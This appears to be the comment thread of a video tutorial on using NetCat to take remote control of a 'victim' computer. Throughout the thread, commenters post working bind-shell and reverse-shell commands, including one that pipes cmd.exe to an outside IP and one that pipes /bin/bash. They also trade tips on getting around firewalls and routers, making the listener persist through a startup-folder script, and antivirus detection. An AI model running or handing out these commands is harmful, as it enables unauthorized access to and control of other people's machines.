How to use NetCat to control a remote system

How to use NetCat to control a remote system without installing any software and using a custom TCP-IP port.

Dont forget the more practical Reverse netcat!!! no need for the victim or client to forward ports or configure any firewalls... ( nc 66.66.66.66 88 -e cmd.exe -d )

-d is for demanize might be capital D, depending on version

Hi. If you run NetCat on the pc that you want to control with the -L option, you can connect how many times you want.

@softgens Do u mean I have to shut down firewall on my victim pc? because now i can't get access to it . telnet shows error

[softgens]

@heavydu4y ... in the video the PC is remote so it works .... I cannot understand your problem.

[softgens]

@heavydu4y Hi. It works. Try again and check the firewall. Bye

[SamyHacker]

so baysically i have to have a phisical connection to the victime pc and add a bash file who has the listening command in it and put it in the starting folder and make anther bash file witch will have a loop in it trying to connect to the vic machine.
is there any way to inject it or somthing like that

[heavyduy]

@softgens tried everything . Telnet is up on both computers, added -L, checked netstat -a, port 443 is listening, allow port and ip address in firewall, still nothing. Connection error

@draftpunkfreak
google environment variables or go to the directory that you have nc.exe in, in cmd so if my nc.exe is in my user folder I would type cd %userprofile% then nc will work.

[softgens]

@onedayillpay Thank you. Following your suggestion we should use on the controlled pc the command: nc -l -p 24444 -e cmd.exe -d -L

[heavyduy]

@softgens It does work with localhost but doesn't with remote PC

[heavyduy]

@softgens ok, it's the same telnet ip port or nc ip port. The both ways don't work

[modiby]

Because port 443 is already in use on a Windows system. Try a different port like 5678 or something

[heavyduy]

@softgens ok, I have 2 Windows XP, I type in cmd nc - l - p 443 -e C:\windows\system32\cmd.exe
on remote PC . On my PC in cmd i type nc PCadress 443. (or telnet PC adress 443) and getting connection error

[heavyduy]

@softgens It doesn't work with XP SP2 remote PC

[softgens]

@heavydu4y On my XP with firewall it works but on Windows you should add "-L". The antivirus could see nc as a virus ...

[softgens]

@heavydu4y No. I thought you was in a test environment. In real world usually the firewall is open from inside to outside at least on port 80 or 443.It should work.Bye

here is a example of reverse_tcp_netcat_shell... the victim will not need to farword ports if behind a router, hens (reverse tcp)

first the server... (keep in mind linux command is differnt then windows)

nc -l -p 666

nc bigmac.192.1 -p 666 -e /bin/bash
